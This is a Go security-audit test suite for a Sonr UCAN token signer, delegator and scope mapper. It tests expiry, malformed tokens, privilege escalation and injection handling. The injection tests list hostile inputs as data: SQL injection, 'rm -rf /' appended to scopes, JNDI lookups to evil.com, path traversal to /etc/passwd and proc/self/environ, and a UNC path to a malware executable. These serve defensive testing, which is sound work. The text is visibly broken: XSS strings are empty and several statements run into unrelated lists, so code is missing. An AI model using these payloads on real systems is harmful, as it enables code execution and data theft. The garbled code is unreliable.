package integration import ( "context" "crypto/ed25519" "crypto/rand" "encoding/base64" "fmt" "strings" "testing" "time" "github.com/stretchr/testify/suite" "github.com/sonr-io/sonr/bridge/handlers" "github.com/sonr-io/sonr/crypto/ucan" "github.com/sonr-io/sonr/x/did/types" ) // securityMockDIDKeeper implements DIDKeeperInterface for security testing type securityMockDIDKeeper struct { didDocuments map[string]*types.DIDDocument } func (m *securityMockDIDKeeper) GetDIDDocument(ctx context.Context, did string) (*types.DIDDocument, error) { if doc, ok := m.didDocuments[did]; ok { return doc, nil } return nil, fmt.Errorf("DID document not found: %s", did) } func (m *securityMockDIDKeeper) GetVerificationMethod(ctx context.Context, did string, methodID string) (*types.VerificationMethod, error) { doc, err := m.GetDIDDocument(ctx, did) if err != nil { return nil, err } for _, vm := range doc.VerificationMethod { if vm.Id == methodID { return vm, nil } } return nil, fmt.Errorf("verification method not found") } // SecurityAuditTestSuite conducts comprehensive security validation type SecurityAuditTestSuite struct { suite.Suite signer *handlers.BlockchainUCANSigner delegator *handlers.UCANDelegator scopeMapper *handlers.ScopeMapper mockKeeper *securityMockDIDKeeper testUserDID string testClientDID string maliciousDID string } func (suite *SecurityAuditTestSuite) SetupSuite() { // Create test keys userPubKey, _, _ := ed25519.GenerateKey(rand.Reader) clientPubKey, _, _ := ed25519.GenerateKey(rand.Reader) maliciousPubKey, _, _ := ed25519.GenerateKey(rand.Reader) // Setup mock DID keeper with test documents suite.mockKeeper = &securityMockDIDKeeper{ didDocuments: map[string]*types.DIDDocument{ "did:sonr:security-user": { Id: "did:sonr:security-user", VerificationMethod: []*types.VerificationMethod{ { Id: "did:sonr:security-user#keys-1", Controller: "did:sonr:security-user", VerificationMethodKind: "Ed25519VerificationKey2020", PublicKeyMultibase: base64.StdEncoding.EncodeToString(userPubKey), }, }, }, "did:sonr:security-client": { Id: "did:sonr:security-client", VerificationMethod: []*types.VerificationMethod{ { Id: "did:sonr:security-client#keys-1", Controller: "did:sonr:security-client", VerificationMethodKind: "Ed25519VerificationKey2020", PublicKeyMultibase: base64.StdEncoding.EncodeToString(clientPubKey), }, }, }, "did:sonr:malicious-actor": { Id: "did:sonr:malicious-actor", VerificationMethod: []*types.VerificationMethod{ { Id: "did:sonr:malicious-actor#keys-1", Controller: "did:sonr:malicious-actor", VerificationMethodKind: "Ed25519VerificationKey2020", PublicKeyMultibase: base64.StdEncoding.EncodeToString(maliciousPubKey), }, }, }, }, } signer, _ := handlers.NewBlockchainUCANSigner(suite.mockKeeper, "did:sonr:oauth-provider") suite.signer = signer suite.delegator = handlers.NewUCANDelegator(signer) suite.scopeMapper = handlers.NewScopeMapper() suite.testUserDID = "did:sonr:security-user" suite.testClientDID = "did:sonr:security-client" suite.maliciousDID = "did:sonr:malicious-actor" } // TestTokenExpiration validates token expiration enforcement func (suite *SecurityAuditTestSuite) TestTokenExpiration() { // Test 1: Expired token rejection expiredToken, err := suite.signer.CreateDelegationToken( suite.testUserDID, suite.testClientDID, []ucan.Attenuation{ { Capability: &ucan.SimpleCapability{Action: "read"}, Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"}, }, }, nil, -1*time.Hour, // Already expired ) suite.Require().NoError(err) _, err = suite.signer.VerifySignature(expiredToken) suite.Error(err, "Expired token must be rejected") suite.Contains(err.Error(), "expired", "Error should mention expiration") // Test 2: Future not-before time // Manually create token with future not-before token := &ucan.Token{ Issuer: suite.testUserDID, Audience: suite.testClientDID, ExpiresAt: time.Now().Add(time.Hour).Unix(), NotBefore: time.Now().Add(time.Hour).Unix(), // Valid in 1 hour Attenuations: []ucan.Attenuation{ { Capability: &ucan.SimpleCapability{Action: "read"}, Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"}, }, }, } signedFutureToken, err := suite.signer.Sign(token) suite.Require().NoError(err) _, err = suite.signer.VerifySignature(signedFutureToken) suite.Error(err, "Token with future not-before must be rejected") // Test 3: Valid time window validToken, err := suite.signer.CreateDelegationToken( suite.testUserDID, suite.testClientDID, []ucan.Attenuation{ { Capability: &ucan.SimpleCapability{Action: "read"}, Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"}, }, }, nil, time.Hour, ) suite.Require().NoError(err) _, err = suite.signer.VerifySignature(validToken) suite.NoError(err, "Valid token within time window must be accepted") } // TestMalformedTokens validates rejection of malformed tokens func (suite *SecurityAuditTestSuite) TestMalformedTokens() { malformedTokens := []struct { name string token string }{ {"Empty token", ""}, {"Not JWT format", "not-a-jwt-token"}, {"Incomplete JWT", "header."}, {"Invalid base64", "invalid.base64!.data"}, {"Missing signature", "header.payload."}, {"Extra segments", "header.payload.signature.extra"}, {"Null bytes", "header\x00.payload.signature"}, {"SQL injection attempt", "'; DROP TABLE tokens; --"}, {"XSS attempt", ""}, {"Buffer overflow attempt", strings.Repeat("A", 10000)}, } for _, test := range malformedTokens { suite.Run(test.name, func() { _, err := suite.signer.VerifySignature(test.token) suite.Error(err, "Malformed token '%s' must be rejected", test.name) }) } } // TestPrivilegeEscalation validates prevention of privilege escalation func (suite *SecurityAuditTestSuite) TestPrivilegeEscalation() { // Create parent token with limited permissions parentToken, err := suite.signer.CreateDelegationToken( suite.testUserDID, "did:sonr:intermediate", []ucan.Attenuation{ { Capability: &ucan.SimpleCapability{Action: "read"}, // Only read Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"}, }, }, nil, time.Hour, ) suite.Require().NoError(err) // Attempt to escalate privileges in child token escalatedToken, err := suite.signer.CreateDelegationToken( "did:sonr:intermediate", suite.maliciousDID, []ucan.Attenuation{ { Capability: &ucan.MultiCapability{Actions: []string{"read", "write", "delete", "admin"}}, // Escalation! Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"}, }, }, []ucan.Proof{ucan.Proof(parentToken)}, time.Hour, ) suite.Require().NoError(err) // Token creation should succeed // But delegation chain validation should fail err = suite.signer.ValidateDelegationChain([]string{parentToken, escalatedToken}) suite.Error(err, "Privilege escalation must be detected and rejected") suite.Contains(err.Error(), "attenuation", "Error should mention improper attenuation") } // TestScopeInjection validates prevention of scope injection attacks func (suite *SecurityAuditTestSuite) TestScopeInjection() { maliciousScopes := []string{ "vault:read; DROP TABLE users; --", "vault:read' OR '1'='1", "vault:read", "vault:read\x00admin", "vault:read\nvault:admin", "vault:read\rvault:admin", "vault:read\tvault:admin", "vault:*; system('rm -rf /')", "../../../etc/passwd:read", "${jndi:ldap://evil.com/malicious}", } for _, maliciousScope := range maliciousScopes { suite.Run("Scope injection: "+maliciousScope, func() { // Attempt to validate malicious scope err := suite.scopeMapper.ValidateScopes([]string{maliciousScope}) suite.Error(err, "Malicious scope must be rejected: %s", maliciousScope) // Even if scope validation passes, mapping should be safe resourceContext := map[string]string{"test": "value"} attenuations := suite.scopeMapper.MapToUCAN( []string{maliciousScope}, suite.testUserDID, suite.testClientDID, resourceContext, ) // Should either be empty or contain safe attenuations for _, att := range attenuations { actions := att.Capability.GetActions() for _, action := range actions { // Actions should not contain injection payloads suite.NotContains(action, "DROP", "Action should not contain SQL injection") suite.NotContains(action, "", "\\\\evil.com\\share\\malware.exe", "C:\\Windows\\System32\\cmd.exe", "/dev/random", "proc/self/environ", "vault:test; rm -rf /", } for _, maliciousResource := range maliciousResources { suite.Run("Resource injection: "+maliciousResource, func() { resource := &handlers.SimpleResource{ Scheme: "vault", Value: maliciousResource, } attenuation := ucan.Attenuation{ Capability: &ucan.SimpleCapability{Action: "read"}, Resource: resource, } token := &ucan.Token{ Issuer: suite.testUserDID, Audience: suite.testClientDID, ExpiresAt: time.Now().Add(time.Hour).Unix(), Attenuations: []ucan.Attenuation{attenuation}, } // Validation should reject dangerous resources err := suite.delegator.ValidateDelegation(token, []string{"vault:read"}) // Should be safe - either rejected or sanitized if err == nil { // If accepted, verify resource is sanitized suite.NotContains(resource.GetValue(), "..", "Resource should not contain path traversal") suite.NotContains(resource.GetValue(), "", "../../../etc/passwd", "${jndi:ldap://evil.com}", "\x00\x01\x02\x03", // Null and control bytes strings.Repeat("A", 10000), // Very long input "${env:PATH}", "{{7*7}}", "<%= 7*7 %>", "#{7*7}", } for _, input := range dangerousInputs { suite.Run("Input sanitization: "+input[:min(20, len(input))], func() { // Test DID sanitization token := &ucan.Token{ Issuer: input, Audience: suite.testClientDID, ExpiresAt: time.Now().Add(time.Hour).Unix(), Attenuations: []ucan.Attenuation{ { Capability: &ucan.SimpleCapability{Action: "read"}, Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"}, }, }, } // Should either reject or sanitize safely signedToken, err := suite.signer.Sign(token) if err == nil { // If signing succeeds, verify the DID is properly encoded parsedToken, err := suite.signer.VerifySignature(signedToken) if err == nil { // Check that dangerous characters are not present in parsed token suite.NotContains(parsedToken.Issuer, "DROP", "Parsed issuer should not contain SQL injection") suite.NotContains(parsedToken.Issuer, "